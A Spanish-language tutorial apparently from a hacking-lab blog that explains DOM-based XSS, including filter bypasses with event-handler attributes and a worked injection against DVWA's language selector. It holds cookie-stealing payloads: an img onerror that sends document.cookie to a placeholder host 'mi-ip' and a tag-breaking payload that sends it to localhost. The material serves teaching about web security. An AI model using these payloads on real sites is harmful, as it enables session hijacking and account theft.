Hacking Lab

En que consiste la vulnerabilidad DOM Based XSS (Cross Site Scripting)?


El término DOM based XSS se refiere a una vulnerabilidad de seguridad conocida como Cross-Site Scripting basada en el Document Object Model (DOM). Este tipo de XSS es una variante que ocurre en el lado del cliente, es decir, en el navegador del usuario, y es particularmente insidiosa porque no involucra directamente al servidor en la inyección del script malicioso. En lugar de eso, el problema surge cuando el código JavaScript del lado del cliente manipula el DOM de manera insegura, permitiendo que un atacante inyecte y ejecute scripts maliciosos.


¿Qué es el DOM?


El Document Object Model (DOM) es una representación estructurada de un documento HTML o XML que permite a los lenguajes de programación, como JavaScript, acceder y manipular el contenido, la estructura y el estilo de una página web. El DOM es esencialmente una interfaz de programación que proporciona un modelo estructurado del documento, permitiendo a los desarrolladores interactuar con él de manera dinámica.

Ejemplo Práctico:

Imagina un sitio web que utiliza JavaScript para mostrar un mensaje de bienvenida personalizado basado en un parámetro de la URL. El código podría ser algo como esto:



// Supongamos que la URL es: http://example.com?name=Juan
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome-message').innerHTML = 'Bienvenido, ' + name + '!';



En este ejemplo, el valor del parámetro `name` se extrae directamente de la URL y se inserta en el DOM sin ningún tipo de validación o escape. Un atacante podría manipular la URL para inyectar un script malicioso:



http://example.com?name=<script>alert('XSS!')</script>



Cuando nos referimos a que la entrada se inserte al DOM, hablamosos de esto:

Imagine que tenemos el siguiente codigo html:



<h1 class="welcome-message"></h1>



Luego de ejecutarse el primer codigo javascript mostrado con la primera url, quedaria asi:



<h1 class="welcome-message">Bienvenido Juan!</h1>



Pero luego de interpretar la segunda url, quedaria asi:



<h1 class="welcome-message"><script>alert('XSS!')</script></h1>



y se estaria ejecutando el codigo javascript inyectado desde la url

Pero no todo es tan sencillo, generalmente el desarrollador hace validaciones para evitar las inyecciones de codigo javascript, una validacion comun es tratar de detectar entradas con la palabra "script", y sustituir esta por una cadena vacia, pero esta seria la peor de las validaciones, y es muy facilmente bypasseable, pongamos ejemplos:

una forma alternativa a las etiquetas script para cagar codigo javascript, seria la etiqueta img:



<img src"/bad source" onerror="fetch('http://mi-ip/?cookie=' + document.cookie);">



Burlando validaciones deficientes:


El lenguaje HTML permite la inclusión de JavaScript no solo a través de la etiqueta `<script>`, sino también mediante el uso de atributos en varias otras etiquetas. Estos atributos pueden ser aprovechados para ejecutar código JavaScript, lo que puede ser problemático si no se manejan adecuadamente, ya que pueden ser vectores para ataques de Cross-Site Scripting (XSS). A continuación, te presento algunas de las etiquetas y atributos más comunes que pueden ser utilizados para ejecutar JavaScript:



  1. Atributos de Eventos


    Los atributos de eventos son la forma más común de ejecutar JavaScript en respuesta a acciones del usuario o eventos del navegador. Algunos de los atributos de eventos más utilizados son:


    • `onerror`: Utilizado en etiquetas como `<img>`, `<script>`, `<link>`, etc. Se ejecuta cuando ocurre un error al cargar el elemento.



      <img src="invalid.jpg" onerror="alert('Error al cargar la imagen')">



    • `onclick`: Se ejecuta cuando el usuario hace clic en un elemento.



      <button onclick="alert('Botón clicado')">Haz clic aquí</button>



    • `onload`: Se ejecuta cuando un elemento se ha cargado completamente. Común en `<body>`, `<img>`, `<iframe>`, etc.



      <body onload="alert('Página cargada')">



    • `onmouseover`: Se ejecuta cuando el cursor del ratón pasa sobre un elemento.



      <div onmouseover="alert('Mouse sobre el div')">Pasa el ratón por aquí</div>



    • `onfocus`: Se ejecuta cuando un elemento recibe el foco.



      <input type="text" onfocus="alert('Input enfocado')">




  2. Etiquetas Comunes con Atributos de Eventos


    • `<a>` (ancla): Puede contener atributos de eventos como `onclick`.



      <a href="#" onclick="alert('Enlace clicado')">Haz clic aquí</a>



    • `<form>`: Puede utilizar `onsubmit` para ejecutar código al enviar el formulario.



      <form onsubmit="alert('Formulario enviado'); return false;">
      <input type="submit" value="Enviar">
      </form>



    • `<input>` y `<textarea>`: Pueden usar eventos como `onfocus`, `onblur`, `onchange`.



      <input type="text" onblur="alert('Input desenfocado')">



    • `<select>`: Puede usar `onchange` para detectar cambios en la selección.



      <select onchange="alert('Cambio de selección')">
      <option value="1">Opción 1</option>
      <option value="2">Opción 2</option>
      </select>



  3. Uso de `javascript:` en URLs:


    • `<a>`: Utilizar `javascript:` en el atributo `href` puede ejecutar código JavaScript.



      <a href="javascript:alert('JavaScript ejecutado')">Ejecutar JSlt;/a>



Análisis de código fuente:


Tambien habria que observar el contexto de nuestra inyeccion, tomemos como ejemplo el siguiente codigo de DVWA:



<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>


Aqui nuestra inyeccion se insertaria en una etiqueta <option> dentro de una etiqueta <select>, si insertamos una etiqueta <img src="/img.png" onerror="alert(1)"> pasaria lo siguiente:

Incluir una etiqueta `<img>` dentro de una etiqueta `<option>` no es válido según las especificaciones HTML y puede llevar a comportamientos inesperados o inconsistentes en diferentes navegadores. La etiqueta `<option>` es utilizada dentro de un elemento `<select>` para definir las opciones disponibles en un menú desplegable. Según las especificaciones HTML, el contenido de una etiqueta `<option>` debe ser texto simple que represente la opción que el usuario puede seleccionar. Incluir elementos HTML complejos, como imágenes, no es compatible con el comportamiento estándar de los navegadores.

en mi caso, no se ejecutaba el codigo javascript, por lo que tuve que hacer lo siguiente:


</option></select><img src="/pepe" onerror="fetch('http://localhost/?cookie=' + document.cookie);"><select><option>


primero cerramos las etiquetas anteriores y luego incluimos nuestro codigo, y volvemos a abrir las etiquetas que cerramos para no causar errores de incopatibilidad en el codigo.